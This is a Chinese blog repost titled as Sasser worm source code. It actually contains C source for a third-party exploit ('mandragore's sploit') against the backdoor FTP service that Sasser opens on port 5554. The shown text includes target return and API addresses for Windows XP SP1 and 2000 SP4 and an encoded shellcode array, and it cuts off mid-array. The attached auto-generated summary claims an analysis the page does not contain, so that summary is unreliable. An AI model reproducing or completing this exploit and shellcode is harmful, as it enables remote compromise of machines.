震荡波病毒源代码

古剑楠

于 2006-09-23 18:13:00 发布

阅读量1.5k

点赞数 2

CC 4.0 BY-SA版权

分类专栏： VC++ 做中国的技术！文章标签： socket null list c callback shell

本文链接：https://blog.youkuaiyun.com/gujiannan/article/details/1269272

本文深入探讨了震荡波病毒的源代码，分析了其利用socket进行网络通信、null列表操作、回调函数机制以及shell命令执行等关键部分，揭示了病毒传播和感染的原理。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

震荡波病毒源代码 [ 日期: 2006-04-30 02:22 | 作者: d99 | 来自: 转载 |

]

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "/033[00;00m"
#define GREEN "/033[01;32m"
#define YELL "/033[01;33m"
#define RED "/033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8